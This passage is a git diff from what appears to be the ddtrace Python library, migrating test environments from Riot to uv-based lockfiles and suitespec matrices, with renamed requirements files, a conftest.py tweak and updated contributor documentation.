.uv/profiling-profile-memalloc--profile-memalloc-py310.txt diff --git a/.riot/requirements/9818a7b.txt b/.uv/profiling-profile-memalloc--profile-memalloc-py311.txt similarity index 100% rename from .riot/requirements/9818a7b.txt rename to .uv/profiling-profile-memalloc--profile-memalloc-py311.txt diff --git a/.riot/requirements/1307807.txt b/.uv/profiling-profile-memalloc--profile-memalloc-py312.txt similarity index 100% rename from .riot/requirements/1307807.txt rename to .uv/profiling-profile-memalloc--profile-memalloc-py312.txt diff --git a/.riot/requirements/18f877f.txt b/.uv/profiling-profile-memalloc--profile-memalloc-py313.txt similarity index 100% rename from .riot/requirements/18f877f.txt rename to .uv/profiling-profile-memalloc--profile-memalloc-py313.txt diff --git a/.riot/requirements/7e1a2a6.txt b/.uv/profiling-profile-memalloc--profile-memalloc-py314.txt similarity index 100% rename from .riot/requirements/7e1a2a6.txt rename to .uv/profiling-profile-memalloc--profile-memalloc-py314.txt diff --git a/.riot/requirements/1d3e756.txt b/.uv/profiling-profile-memalloc--profile-memalloc-py39.txt similarity index 100% rename from .riot/requirements/1d3e756.txt rename to .uv/profiling-profile-memalloc--profile-memalloc-py39.txt diff --git a/.riot/requirements/165d803.txt b/.uv/profiling-profile-uwsgi--profile-uwsgi-py310.txt similarity index 100% rename from .riot/requirements/165d803.txt rename to .uv/profiling-profile-uwsgi--profile-uwsgi-py310.txt diff --git a/.riot/requirements/b66280d.txt b/.uv/profiling-profile-uwsgi--profile-uwsgi-py311.txt similarity index 100% rename from .riot/requirements/b66280d.txt rename to .uv/profiling-profile-uwsgi--profile-uwsgi-py311.txt diff --git a/.riot/requirements/1b445ce.txt b/.uv/profiling-profile-uwsgi--profile-uwsgi-py312.txt similarity index 100% rename from .riot/requirements/1b445ce.txt rename to .uv/profiling-profile-uwsgi--profile-uwsgi-py312.txt diff --git a/.riot/requirements/1ef9287.txt b/.uv/profiling-profile-uwsgi--profile-uwsgi-py313.txt similarity index 100% rename from .riot/requirements/1ef9287.txt rename to .uv/profiling-profile-uwsgi--profile-uwsgi-py313.txt diff --git a/.riot/requirements/1c3ef81.txt b/.uv/profiling-profile-uwsgi--profile-uwsgi-py39.txt similarity index 100% rename from .riot/requirements/1c3ef81.txt rename to .uv/profiling-profile-uwsgi--profile-uwsgi-py39.txt diff --git a/.riot/requirements/fd98f16.txt b/.uv/reno--reno-py3.txt similarity index 100% rename from .riot/requirements/fd98f16.txt rename to .uv/reno--reno-py3.txt diff --git a/.riot/requirements/157ee7b.txt b/.uv/runtime--runtime-py310.txt similarity index 100% rename from .riot/requirements/157ee7b.txt rename to .uv/runtime--runtime-py310.txt diff --git a/.riot/requirements/1fb1eb3.txt b/.uv/runtime--runtime-py311.txt similarity index 100% rename from .riot/requirements/1fb1eb3.txt rename to .uv/runtime--runtime-py311.txt diff --git a/.riot/requirements/48247d7.txt b/.uv/runtime--runtime-py312.txt similarity index 100% rename from .riot/requirements/48247d7.txt rename to .uv/runtime--runtime-py312.txt diff --git a/.riot/requirements/16cc321.txt b/.uv/runtime--runtime-py313.txt similarity index 100% rename from .riot/requirements/16cc321.txt rename to .uv/runtime--runtime-py313.txt diff --git a/.riot/requirements/817352e.txt b/.uv/runtime--runtime-py314.txt similarity index 100% rename from .riot/requirements/817352e.txt rename to .uv/runtime--runtime-py314.txt diff --git a/.riot/requirements/a1eb4c8.txt b/.uv/runtime--runtime-py39.txt similarity index 100% rename from .riot/requirements/a1eb4c8.txt rename to .uv/runtime--runtime-py39.txt diff --git a/.riot/requirements/164d1f0.txt b/.uv/smoke-test--smoke-test-py310.txt similarity index 100% rename from .riot/requirements/164d1f0.txt rename to .uv/smoke-test--smoke-test-py310.txt diff --git a/.riot/requirements/10e0b19.txt b/.uv/smoke-test--smoke-test-py311.txt similarity index 100% rename from .riot/requirements/10e0b19.txt rename to .uv/smoke-test--smoke-test-py311.txt diff --git a/.riot/requirements/fc72580.txt b/.uv/smoke-test--smoke-test-py312.txt similarity index 100% rename from .riot/requirements/fc72580.txt rename to .uv/smoke-test--smoke-test-py312.txt diff --git a/.riot/requirements/872f397.txt b/.uv/smoke-test--smoke-test-py313.txt similarity index 100% rename from .riot/requirements/872f397.txt rename to .uv/smoke-test--smoke-test-py313.txt diff --git a/.riot/requirements/133c47b.txt b/.uv/smoke-test--smoke-test-py314.txt similarity index 100% rename from .riot/requirements/133c47b.txt rename to .uv/smoke-test--smoke-test-py314.txt diff --git a/.riot/requirements/2377901.txt b/.uv/smoke-test--smoke-test-py39.txt similarity index 100% rename from .riot/requirements/2377901.txt rename to .uv/smoke-test--smoke-test-py39.txt diff --git a/.riot/requirements/175eeba.txt b/.uv/telemetry--telemetry-py310.txt similarity index 100% rename from .riot/requirements/175eeba.txt rename to .uv/telemetry--telemetry-py310.txt diff --git a/.riot/requirements/19753a5.txt b/.uv/telemetry--telemetry-py311.txt similarity index 100% rename from .riot/requirements/19753a5.txt rename to .uv/telemetry--telemetry-py311.txt diff --git a/.riot/requirements/1a7c7c3.txt b/.uv/telemetry--telemetry-py312.txt similarity index 100% rename from .riot/requirements/1a7c7c3.txt rename to .uv/telemetry--telemetry-py312.txt diff --git a/.riot/requirements/7dec5d4.txt b/.uv/telemetry--telemetry-py313.txt similarity index 100% rename from .riot/requirements/7dec5d4.txt rename to .uv/telemetry--telemetry-py313.txt diff --git a/.riot/requirements/70966a9.txt b/.uv/telemetry--telemetry-py314.txt similarity index 100% rename from .riot/requirements/70966a9.txt rename to .uv/telemetry--telemetry-py314.txt diff --git a/.riot/requirements/1f6cc38.txt b/.uv/telemetry--telemetry-py39.txt similarity index 100% rename from .riot/requirements/1f6cc38.txt rename to .uv/telemetry--telemetry-py39.txt diff --git a/.riot/requirements/128b106.txt b/.uv/tracer--tracer-128-bit-traceid-disabled-py314.txt similarity index 100% rename from .riot/requirements/128b106.txt rename to .uv/tracer--tracer-128-bit-traceid-disabled-py314.txt diff --git a/.riot/requirements/cf86081.txt b/.uv/tracer--tracer-legacy-attrs-py39-legacy-attrs.txt similarity index 100% rename from .riot/requirements/cf86081.txt rename to .uv/tracer--tracer-legacy-attrs-py39-legacy-attrs.txt diff --git a/.riot/requirements/c48b0f7.txt b/.uv/tracer--tracer-py310.txt similarity index 100% rename from .riot/requirements/c48b0f7.txt rename to .uv/tracer--tracer-py310.txt diff --git a/.riot/requirements/1fa38a1.txt b/.uv/tracer--tracer-py311.txt similarity index 100% rename from .riot/requirements/1fa38a1.txt rename to .uv/tracer--tracer-py311.txt diff --git a/.riot/requirements/19c9071.txt b/.uv/tracer--tracer-py312.txt similarity index 100% rename from .riot/requirements/19c9071.txt rename to .uv/tracer--tracer-py312.txt diff --git a/.riot/requirements/1ef5a52.txt b/.uv/tracer--tracer-py313.txt similarity index 100% rename from .riot/requirements/1ef5a52.txt rename to .uv/tracer--tracer-py313.txt diff --git a/.riot/requirements/ed437ab.txt b/.uv/tracer--tracer-py314.txt similarity index 100% rename from .riot/requirements/ed437ab.txt rename to .uv/tracer--tracer-py314.txt diff --git a/.riot/requirements/107d2ec.txt b/.uv/tracer--tracer-py39.txt similarity index 100% rename from .riot/requirements/107d2ec.txt rename to .uv/tracer--tracer-py39.txt diff --git a/.riot/requirements/108afed.txt b/.uv/tracer--tracer-python-optimize-py310.txt similarity index 100% rename from .riot/requirements/108afed.txt rename to .uv/tracer--tracer-python-optimize-py310.txt diff --git a/.riot/requirements/1b5081e.txt b/.uv/tracer--tracer-python-optimize-py311.txt similarity index 100% rename from .riot/requirements/1b5081e.txt rename to .uv/tracer--tracer-python-optimize-py311.txt diff --git a/.riot/requirements/4fcf978.txt b/.uv/tracer--tracer-python-optimize-py312.txt similarity index 100% rename from .riot/requirements/4fcf978.txt rename to .uv/tracer--tracer-python-optimize-py312.txt diff --git a/.riot/requirements/1303be6.txt b/.uv/tracer--tracer-python-optimize-py313.txt similarity index 100% rename from .riot/requirements/1303be6.txt rename to .uv/tracer--tracer-python-optimize-py313.txt diff --git a/.riot/requirements/190fcc7.txt b/.uv/tracer--tracer-python-optimize-py314.txt similarity index 100% rename from .riot/requirements/190fcc7.txt rename to .uv/tracer--tracer-python-optimize-py314.txt diff --git a/.riot/requirements/1cb6659.txt b/.uv/tracer--tracer-python-optimize-py39.txt similarity index 100% rename from .riot/requirements/1cb6659.txt rename to .uv/tracer--tracer-python-optimize-py39.txt diff --git a/.riot/requirements/3d924d3.txt b/.uv/tracer--tracer-uwsgi-py310-uwsgi.txt similarity index 100% rename from .riot/requirements/3d924d3.txt rename to .uv/tracer--tracer-uwsgi-py310-uwsgi.txt diff --git a/.riot/requirements/f953f1c.txt b/.uv/tracer--tracer-uwsgi-py311-uwsgi.txt similarity index 100% rename from .riot/requirements/f953f1c.txt rename to .uv/tracer--tracer-uwsgi-py311-uwsgi.txt diff --git a/.riot/requirements/16f089d.txt b/.uv/tracer--tracer-uwsgi-py312-uwsgi.txt similarity index 100% rename from .riot/requirements/16f089d.txt rename to .uv/tracer--tracer-uwsgi-py312-uwsgi.txt diff --git a/.riot/requirements/190d82d.txt b/.uv/tracer--tracer-uwsgi-py313-uwsgi.txt similarity index 100% rename from .riot/requirements/190d82d.txt rename to .uv/tracer--tracer-uwsgi-py313-uwsgi.txt diff --git a/.riot/requirements/1c97cf2.txt b/.uv/tracer--tracer-uwsgi-py39-uwsgi.txt similarity index 100% rename from .riot/requirements/1c97cf2.txt rename to .uv/tracer--tracer-uwsgi-py39-uwsgi.txt diff --git a/.riot/requirements/e98519b.txt b/.uv/vendor--vendor-py310-msgpack-1.txt similarity index 100% rename from .riot/requirements/e98519b.txt rename to .uv/vendor--vendor-py310-msgpack-1.txt diff --git a/.riot/requirements/17ab061.txt b/.uv/vendor--vendor-py310-msgpack-latest.txt similarity index 100% rename from .riot/requirements/17ab061.txt rename to .uv/vendor--vendor-py310-msgpack-latest.txt diff --git a/.riot/requirements/79f2ab7.txt b/.uv/vendor--vendor-py311-msgpack-1.txt similarity index 100% rename from .riot/requirements/79f2ab7.txt rename to .uv/vendor--vendor-py311-msgpack-1.txt diff --git a/.riot/requirements/1cfc8b7.txt b/.uv/vendor--vendor-py311-msgpack-latest.txt similarity index 100% rename from .riot/requirements/1cfc8b7.txt rename to .uv/vendor--vendor-py311-msgpack-latest.txt diff --git a/.riot/requirements/11eae4e.txt b/.uv/vendor--vendor-py312-msgpack-1.txt similarity index 100% rename from .riot/requirements/11eae4e.txt rename to .uv/vendor--vendor-py312-msgpack-1.txt diff --git a/.riot/requirements/e45d6bf.txt b/.uv/vendor--vendor-py312-msgpack-latest.txt similarity index 100% rename from .riot/requirements/e45d6bf.txt rename to .uv/vendor--vendor-py312-msgpack-latest.txt diff --git a/.riot/requirements/1463930.txt b/.uv/vendor--vendor-py313-msgpack-1.txt similarity index 100% rename from .riot/requirements/1463930.txt rename to .uv/vendor--vendor-py313-msgpack-1.txt diff --git a/.riot/requirements/188244e.txt b/.uv/vendor--vendor-py313-msgpack-latest.txt similarity index 100% rename from .riot/requirements/188244e.txt rename to .uv/vendor--vendor-py313-msgpack-latest.txt diff --git a/.riot/requirements/1987c1c.txt b/.uv/vendor--vendor-py314-msgpack-1.txt similarity index 100% rename from .riot/requirements/1987c1c.txt rename to .uv/vendor--vendor-py314-msgpack-1.txt diff --git a/.riot/requirements/1cc0b24.txt b/.uv/vendor--vendor-py314-msgpack-latest.txt similarity index 100% rename from .riot/requirements/1cc0b24.txt rename to .uv/vendor--vendor-py314-msgpack-latest.txt diff --git a/.riot/requirements/17a868e.txt b/.uv/vendor--vendor-py39-msgpack-1.txt similarity index 100% rename from .riot/requirements/17a868e.txt rename to .uv/vendor--vendor-py39-msgpack-1.txt diff --git a/.riot/requirements/12bdba7.txt b/.uv/vendor--vendor-py39-msgpack-latest.txt similarity index 100% rename from .riot/requirements/12bdba7.txt rename to .uv/vendor--vendor-py39-msgpack-latest.txt diff --git a/.riot/requirements/39f016b.txt b/.uv/wait--wait-py39.txt similarity index 100% rename from .riot/requirements/39f016b.txt rename to .uv/wait--wait-py39.txt diff --git a/.riot/requirements/1b4f797.txt b/.uv/wrapping--wrapping-py310-wrapt-1.txt similarity index 100% rename from .riot/requirements/1b4f797.txt rename to .uv/wrapping--wrapping-py310-wrapt-1.txt diff --git a/.riot/requirements/1285aa4.txt b/.uv/wrapping--wrapping-py310-wrapt-latest.txt similarity index 100% rename from .riot/requirements/1285aa4.txt rename to .uv/wrapping--wrapping-py310-wrapt-latest.txt diff --git a/.riot/requirements/f179eea.txt b/.uv/wrapping--wrapping-py311-wrapt-1.txt similarity index 100% rename from .riot/requirements/f179eea.txt rename to .uv/wrapping--wrapping-py311-wrapt-1.txt diff --git a/.riot/requirements/13460b6.txt b/.uv/wrapping--wrapping-py311-wrapt-latest.txt similarity index 100% rename from .riot/requirements/13460b6.txt rename to .uv/wrapping--wrapping-py311-wrapt-latest.txt diff --git a/.riot/requirements/57e9dce.txt b/.uv/wrapping--wrapping-py312-wrapt-1.txt similarity index 100% rename from .riot/requirements/57e9dce.txt rename to .uv/wrapping--wrapping-py312-wrapt-1.txt diff --git a/.riot/requirements/8239194.txt b/.uv/wrapping--wrapping-py312-wrapt-latest.txt similarity index 100% rename from .riot/requirements/8239194.txt rename to .uv/wrapping--wrapping-py312-wrapt-latest.txt diff --git a/.riot/requirements/19022d0.txt b/.uv/wrapping--wrapping-py313-wrapt-1.txt similarity index 100% rename from .riot/requirements/19022d0.txt rename to .uv/wrapping--wrapping-py313-wrapt-1.txt diff --git a/.riot/requirements/223123f.txt b/.uv/wrapping--wrapping-py313-wrapt-latest.txt similarity index 100% rename from .riot/requirements/223123f.txt rename to .uv/wrapping--wrapping-py313-wrapt-latest.txt diff --git a/.riot/requirements/1f0959b.txt b/.uv/wrapping--wrapping-py314-wrapt-1.txt similarity index 100% rename from .riot/requirements/1f0959b.txt rename to .uv/wrapping--wrapping-py314-wrapt-1.txt diff --git a/.riot/requirements/1512a1b.txt b/.uv/wrapping--wrapping-py314-wrapt-latest.txt similarity index 100% rename from .riot/requirements/1512a1b.txt rename to .uv/wrapping--wrapping-py314-wrapt-latest.txt diff --git a/.riot/requirements/69f8b8e.txt b/.uv/wrapping--wrapping-py39-wrapt-1.txt similarity index 100% rename from .riot/requirements/69f8b8e.txt rename to .uv/wrapping--wrapping-py39-wrapt-1.txt diff --git a/.riot/requirements/12ce109.txt b/.uv/wrapping--wrapping-py39-wrapt-latest.txt similarity index 100% rename from .riot/requirements/12ce109.txt rename to .uv/wrapping--wrapping-py39-wrapt-latest.txt diff --git a/benchmarks/code_provenance/requirements_scenario.txt b/benchmarks/code_provenance/requirements_scenario.txt index 8bdbd01611a..0260a6f1b9b 100644 --- a/benchmarks/code_provenance/requirements_scenario.txt +++ b/benchmarks/code_provenance/requirements_scenario.txt @@ -1,4 +1,4 @@ -# Borrowed from langchain .riot/requirements/a311bc2.txt +# Copied from a LangChain test environment to provide a large dependency set. # Many dependencies to stress code provenance package scanning ai21==3.0.1 ai21-tokenizer==0.12.0 diff --git a/benchmarks/openfeature_flagevaluation/requirements_scenario.txt b/benchmarks/openfeature_flagevaluation/requirements_scenario.txt index ade024d993d..268b24dafe2 100644 --- a/benchmarks/openfeature_flagevaluation/requirements_scenario.txt +++ b/benchmarks/openfeature_flagevaluation/requirements_scenario.txt @@ -1,5 +1,5 @@ # openfeature-sdk provides EvaluationContext / FlagEvaluationDetails / HookContext, # which the scenario imports directly. It is a test-time dependency, not a ddtrace # runtime dependency, so the benchmark base venv does not install it otherwise. -# Mirrors the openfeature venv pin in riotfile.py. +# Keep this pin stable so benchmark changes reflect code rather than dependency updates. openfeature-sdk~=0.8.0 diff --git a/benchmarks/packages_package_for_root_module_mapping/requirements_scenario.txt b/benchmarks/packages_package_for_root_module_mapping/requirements_scenario.txt index cb429423b5a..3b476e2a399 100644 --- a/benchmarks/packages_package_for_root_module_mapping/requirements_scenario.txt +++ b/benchmarks/packages_package_for_root_module_mapping/requirements_scenario.txt @@ -1,4 +1,4 @@ -# Borrowed from langchain .riot/requirements/a311bc2.txt +# Copied from a LangChain test environment to provide a large dependency set. ai21==3.0.1 ai21-tokenizer==0.12.0 aiohttp==3.9.5 diff --git a/benchmarks/packages_update_imported_dependencies/requirements_scenario.txt b/benchmarks/packages_update_imported_dependencies/requirements_scenario.txt index cb429423b5a..3b476e2a399 100644 --- a/benchmarks/packages_update_imported_dependencies/requirements_scenario.txt +++ b/benchmarks/packages_update_imported_dependencies/requirements_scenario.txt @@ -1,4 +1,4 @@ -# Borrowed from langchain .riot/requirements/a311bc2.txt +# Copied from a LangChain test environment to provide a large dependency set. ai21==3.0.1 ai21-tokenizer==0.12.0 aiohttp==3.9.5 diff --git a/conftest.py b/conftest.py index b1fc2733be1..bf66cb2c4ca 100644 --- a/conftest.py +++ b/conftest.py @@ -82,22 +82,6 @@ def collect_global_attributes(record_testsuite_property, pytestconfig): # This is useful to reproduce test failures. record_testsuite_property("randomly.seed", f"{randomly_seed or -1}") - # Convert all RIOT_* variables to `riot.*` attributes in the test suite. - # https://github.com/DataDog/riot/blob/a412e98fe6194284b97235942a6e3eff7e8d0a0b/riot/riot.py#L786-L797 - for env, value in os.environ.items(): - if not env.startswith("RIOT_"): - continue - - # Convert: - # - RIOT_NAME into `riot.name` - # - RIOT_VENV_PKGS into `riot.venv.pkgs` - # - RIOT_VENV_FULL_PKGS into `riot.venv.full_pkgs` - # - RIOT_PYTHON_VERSION into `riot.python.version` - env = env[5:] # Remove "RIOT_" prefix - prefix, _, name = env.partition("_") - if prefix and name: - # Convert `RIOT_VENV_PKGS` to `riot.venv.pkgs` - env = f"riot.{prefix.lower()}.{name.lower()}" - else: - env = f"riot.{prefix.lower()}" - record_testsuite_property(env, value) + if virtual_env := os.environ.get("VIRTUAL_ENV"): + record_testsuite_property("test.environment.id", os.path.basename(virtual_env)) + record_testsuite_property("test.python.version", f"{sys.version_info.major}.{sys.version_info.minor}") diff --git a/docs/build_system.rst b/docs/build_system.rst index 6c1554754ec..931fe5c8be7 100644 --- a/docs/build_system.rst +++ b/docs/build_system.rst @@ -306,7 +306,7 @@ How the Build Works .. code-block:: text - riot generate + scripts/run-tests └─ pip install -e . ├─ build_py → LibraryDownloader.run() │ ├─ CleanLibraries.remove_artifacts() ← SKIPPED when INCREMENTAL=1 @@ -369,7 +369,7 @@ Known Root Causes of Warm Rebuilds 2. **CMakeExtension skip check gated on ``IS_EDITABLE``** - The skip check ``if IS_EDITABLE and self.INCREMENTAL`` never fired during riot's + The skip check ``if IS_EDITABLE and self.INCREMENTAL`` never fired during the test environment's ``pip install -e .`` because ``IS_EDITABLE`` was never set in that context. Fixed by removing the ``IS_EDITABLE`` guard. diff --git a/docs/contributing-integrations.rst b/docs/contributing-integrations.rst index 6c47409d078..6924ab91dcd 100644 --- a/docs/contributing-integrations.rst +++ b/docs/contributing-integrations.rst @@ -121,8 +121,8 @@ Many of the tests are based on "snapshots": saved copies of actual traces sent t 1. Update the library and test code to generate new traces. 2. Delete the snapshot file corresponding to your test at ``tests/snapshots/`` (if applicable). -3. Use `docker compose up -d testagent` to start the APM test agent, and then re-run the test. Use `--pass-env` as described - `here `_ to ensure that your test run can talk to the test agent. +3. Use `docker compose up -d testagent` to start the APM test agent, and then re-run the test with + ``scripts/run-tests`` so the agent URL is configured automatically. Once the run finishes, the snapshot file will have been regenerated. @@ -135,8 +135,8 @@ They use the Flask integration tests as a teaching example. Referencing these in 1. Make sure a directory for your integration exists under ``tests/contrib`` 2. Create a new file ``tests/contrib//test__snapshot.py`` -3. Make sure a ``Venv`` instance exists in ``riotfile.py`` that references your ``contrib`` subdirectory. - Create one if it doesn't exist. Note the name of this ``Venv`` - this is the "test suite name". +3. Make sure a suite with a dependency matrix exists in ``tests/contrib/suitespec.yml`` and references your + ``contrib`` subdirectory. Its key is the test suite name. 4. In this directory, write a simple "Hello World" application that uses the library you're integrating with similarly to how customers will use it. Depending on the library, this might be as simple as a function in the snapshot test file that imports the library. @@ -176,13 +176,12 @@ This decorator causes Pytest to collect the spans generated by your instrumented against a stored set of expected spans. Since the integration test we're writing is new, there are not yet any expected spans stored for it, so we need to create some. -9. Start the "test agent", as well as any necessary datastore containers, and run your new test: +9. List the suite's environments and run the new test. The runner starts the test agent and any declared services: .. code-block:: bash - $ docker compose up -d testagent - $ scripts/ddtest - > DD_AGENT_PORT=9126 riot -v run --pass-env + $ scripts/test-env list contrib:: + $ scripts/run-tests --suite contrib:: --venv 10. Check ``git status`` and observe that some new files have been created under ``tests/snapshots/``. These files contain JSON representations of the spans created by the instrumentation that ran @@ -241,8 +240,7 @@ The following is the check list for ensuring you have all of the components to h - Define `patch` and `unpatch` functions for your new integration under ``ddtrace/contrib/internal/your_integration_name``. - Document your integration in a ``ddtrace/contrib/internal//__init__.py`` module and reference the doc string in ``docs/integrations.rst``. - Test code for the above in ``tests/contrib/your_integration_name``. -- The virtual environment configurations for your tests in ``riotfile.py``. -- The Gitlab CI configurations for your tests in ``tests/contrib/suitespec.yml``. +- The dependency matrix and GitLab CI configuration for your tests in ``tests/contrib/suitespec.yml``. - Your integration added to ``PATCH_MODULES`` in ``ddtrace/_monkey.py`` to enable auto instrumentation for it. - The relevant file paths for your integration added to a suitespec file (see ``tests/README.md`` for details). -- A release note for your addition generated with ``riot run reno new YOUR_TITLE_SLUG``, which will add ``releasenotes/notes/YOUR_TITLE_SLUG.yml``. +- A release note for your addition generated with ``scripts/ddtest reno new YOUR_TITLE_SLUG``, which will add ``releasenotes/notes/YOUR_TITLE_SLUG.yml``. diff --git a/docs/contributing-testing.rst b/docs/contributing-testing.rst index 3650cc16ed1..079c61fd54c 100644 --- a/docs/contributing-testing.rst +++ b/docs/contributing-testing.rst @@ -56,19 +56,11 @@ The ``scripts/run-tests`` script handles this automatically: **Manual approach with ddtest** This repo includes a Docker container definition that provides a pre-built test environment. -You can access it by running +You can access it and run lint checks with: .. code-block:: bash $ scripts/ddtest - -Some of our test suites are managed with Riot. - -You can run riot commands and lint checks in the test runner container with commands like these: - -.. code-block:: bash - - $ scripts/ddtest riot run -p 3.10 $ scripts/ddtest scripts/lint style @@ -81,49 +73,21 @@ The ``scripts/run-tests`` script handles this automatically: .. code-block:: bash - # Add riot arguments to avoid unnecessary compilation - $ scripts/run-tests tests/contrib/django/ -- -s - # Add pytest arguments for test selection - $ scripts/run-tests tests/contrib/django/ -- -- -k test_specific_function - - # Add both riot (first) and pytest (second) arguments - $ scripts/run-tests ddtrace/contrib/django/patch.py -- -s -- -vvv -s --tb=short + $ scripts/run-tests tests/contrib/django/ -- -k test_specific_function # Run specific test functions $ scripts/run-tests tests/contrib/flask/ -- -k "test_request or test_response" -**Manual way: Direct riot commands** - -If you prefer manual control: - -1. Note the names of the tests you care about - these are the "test names". -2. Find the ``Venv`` in the `riotfile `_ - whose ``command`` contains the tests you're interested in. Note the ``Venv``'s ``name`` - this is the - "suite name". -3. Find the suite in the file `./tests/contrib/suitespec.yml `_ - whose ``pattern`` is equal to the suite name. Note the ``docker_services`` section of the directive, if present - - these are the "suite services". -4. Start the suite services, if applicable, with ``$ docker compose up -d service1 service2``. -5. Start the test-runner Docker container with ``$ scripts/ddtest``. -6. In the test-runner shell, run the tests with ``$ riot -v run --pass-env -p 3.10 -- -s -vv -k 'test_name1 or test_name2'``. +Run a concrete environment directly +----------------------------------- -Anatomy of a Riot Command -------------------------- +List a suite's environments, then select one by its descriptive ID: .. code-block:: bash - $ riot -v run --pass-env -s -p 3.10 -- -s -vv -k 'test_name1 or test_name2' - -* ``-v``: Print verbose output -* ``--pass-env``: Pass all environment variables in the current shell to the pytest invocation -* ``-s``: Skips base install. Ensure you have already generated the base virtual environment(s) before using this flag. -* ``-p 3.10``: Run the tests using Python 3.10. You can change the version string if you want. -* ````: A regex matching the names of the Riot ``Venv`` instances to run -* ``--``: Everything after this gets treated as a ``pytest`` argument -* ``-s``: Make potential uses of ``pdb`` work properly -* ``-vv``: Be loud about which tests are being run -* ``-k 'test1 or test2'``: Test selection by `keyword expression `_ + $ scripts/test-env list contrib::django + $ scripts/run-tests --suite contrib::django --venv django-py312-django-latest -- -k test_name Why are my tests failing with 404 errors? ----------------------------------------- @@ -136,8 +100,7 @@ To fix this: # outside of the testrunner shell $ docker compose up -d testagent - # inside the testrunner shell, started with scripts/ddtest - $ DD_AGENT_PORT=9126 riot -v run --pass-env ... + $ scripts/run-tests --suite --venv Why are my Docker tests failing with permission errors on Linux? ----------------------------------------------------------------- @@ -170,8 +133,8 @@ After setting this up, run your tests normally: The ``docker-compose.override.yml`` file is git-ignored and won't be committed, so each developer can have their own local configuration. -Build issues when running tests with Riot ------------------------------------------ +Build issues when running tests +------------------------------- If you encounter build failures, CMake errors, or stale native extension issues when running tests: @@ -179,27 +142,34 @@ If you encounter build failures, CMake errors, or stale native extension issues - **Using scripts/ddtest:** The project is mounted from the host, so run ``scripts/clean`` on the host first. The container sees the cleaned project on the next run. -Then run Riot **without** the ``-s`` flag so that ddtrace is rebuilt from source. The ``-s`` flag skips the base install; omitting it forces a fresh build: +Then run the environment again. ``scripts/run-tests`` rebuilds the local editable installation before executing tests: .. code-block:: bash - $ riot -v run --pass-env -p 3.10 -- -vv -k 'test_name' + $ scripts/run-tests --suite --venv -- -vv -k test_name + +CI builds one ddtrace base environment per Python version and reuses it with +``-s``/``--skip-ddtrace-install``. You can use the same flow locally: + +.. code-block:: bash -Once the build succeeds, you can use ``-s`` again for faster subsequent runs. + $ scripts/run-tests --suite smoke_test --venv smoke-test-py311 + $ scripts/run-tests -s --suite contrib::requests --venv + +Here, ``-s`` before ``--`` selects base reuse. A ``-s`` after ``--`` is passed to pytest and disables output +capture. Why is my CI run failing with a message about requirements files? ----------------------------------------------------------------- -``.riot/requirements`` contains requirements files generated with ``pip-compile`` for every environment specified -by ``riotfile.py``. Riot uses these files to build its environments, and they do not get rebuilt automatically -when the riotfile changes. Thus, if you make changes to the riotfile, you need to rebuild them. +``.uv`` contains one compiled requirements file for every environment declared in suitespec. If a matrix's +dependencies change, regenerate only the affected suite: .. code-block:: bash - $ scripts/ddtest scripts/compile-and-prune-test-requirements + $ scripts/test-env lock -You can commit and pull request the resulting changes to files in ``.riot/requirements`` alongside the -changes you made to ``riotfile.py``. +Commit the resulting ``.uv`` changes with the suitespec change. Why is my CI run failing with benchmark or Service Level Objective (SLO) threshold breaches? --------------------------------------------------------------------------------------------- @@ -238,68 +208,50 @@ The library includes automated SLO checks that monitor performance thresholds fo How do I add a new test suite? ------------------------------ -We use `riot `_, a Python virtual environment constructor, to run the test suites. -It is necessary to create a new ``Venv`` instance in ``riotfile.py`` if it does not exist already. It can look like this: - -.. code-block:: python - - Venv( - name="yaaredis", - command="pytest {cmdargs} tests/contrib/yaaredis", - pkgs={ - "pytest-asyncio": "==0.21.1", - "pytest-randomly": latest, - }, - venvs=[ - Venv( - pys=select_pys(min_version="3.8", max_version="3.9"), - pkgs={"yaaredis": ["~=2.0.0", latest]}, - ), - ], - ), - -Once a ``Venv`` instance has been created, you will be able to run it as explained in the section below. -Next, we will need to add a new CI job to run the newly added test suite. This change can be made in the -``tests/contrib/suitespec.yml`` file: +Add the suite and its dependency matrix to the appropriate ``suitespec.yml`` file: .. code-block:: yaml yaaredis: - parallelism: 1 paths: - - '@core' - - '@bootstrap' - '@contrib' - - '@tracing' - '@redis' - tests/contrib/yaaredis/* - - tests/snapshots/tests.contrib.yaaredis.* - pattern: yaaredis$ services: - redis snapshot: true + matrix: + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + command: pytest {cmdargs} tests/contrib/yaaredis + dependencies: + - pytest-asyncio==0.21.1 + axes: + yaaredis: + yaaredis-2: yaaredis~=2.0.0 + yaaredis-latest: yaaredis + +Generate its locks with ``scripts/test-env lock yaaredis``. See ``tests/README.md`` for suite-selection details. See ``tests/README.md`` for more detail on adding new CI jobs. -How do I update a Riot environment to use the latest version of a package? --------------------------------------------------------------------------- +How do I update a suite to the latest version of a package? +----------------------------------------------------------- + +A matrix dependency without a version constraint represents the latest compatible release when its lock is generated. Refresh +only that suite: + +.. code-block:: bash -Reading through the above example and others in ``riotfile.py``, you may notice that some package versions are specified -as the variable ``latest``. When the Riotfile is compiled into the ``.txt`` files in the ``.riot`` directory, ``latest`` tells -the compiler to pin the newest version of the package available on PyPI according to semantic versioning. + $ scripts/test-env lock -Because this version resolution happens during Riotfile compilation, ``latest`` doesn't always mean "latest" once the compiled -requirements files are checked into source control. In order to stay current, these requirements files need to be recompiled -periodically. +Commit the changed ``.uv`` locks. The generator applies the repository's package waiting-period policy. -Assume you have a ``Venv`` instance in the Riotfile that uses the ``latest`` variable. Note the ``name`` field of this -environment object. +How do I resolve conflicts from a branch that changed Riot? +----------------------------------------------------------- -1. Run ``scripts/ddtest`` to enter a shell in the testrunner container -2. ``export VENV_NAME=`` -3. Delete all of the requirements lockfiles for the chosen environment, then regenerate them: - ``for h in `riot list --hash-only "^${VENV_NAME}$"`; do rm .riot/requirements/${h}.txt; done; scripts/compile-and-prune-test-requirements`` -4. Commit the resulting changes to the ``.riot`` directory, and open a pull request against the trunk branch. +After updating your branch from main, translate the dependency or Python-version change from ``riotfile.py`` into the matching +suitespec matrix. Regenerate only that suite with ``scripts/test-env lock `` and keep unrelated uv locks unchanged. Do +not restore migrated Riot environments or regenerate all locks. Why isn't my lint dependency change taking effect? -------------------------------------------------- diff --git a/docs/native-code-review.md b/docs/native-code-review.md index 0c58436049d..0194ee3fb72 100644 --- a/docs/native-code-review.md +++ b/docs/native-code-review.md @@ -331,7 +331,7 @@ wheel directory layout. output, not just in source code. - **Flag for human verification:** If this change affects build layout, linking, or conditional compilation, it must be tested on an actual release wheel - (in-tree/riot builds may not reproduce wheel-specific issues). + 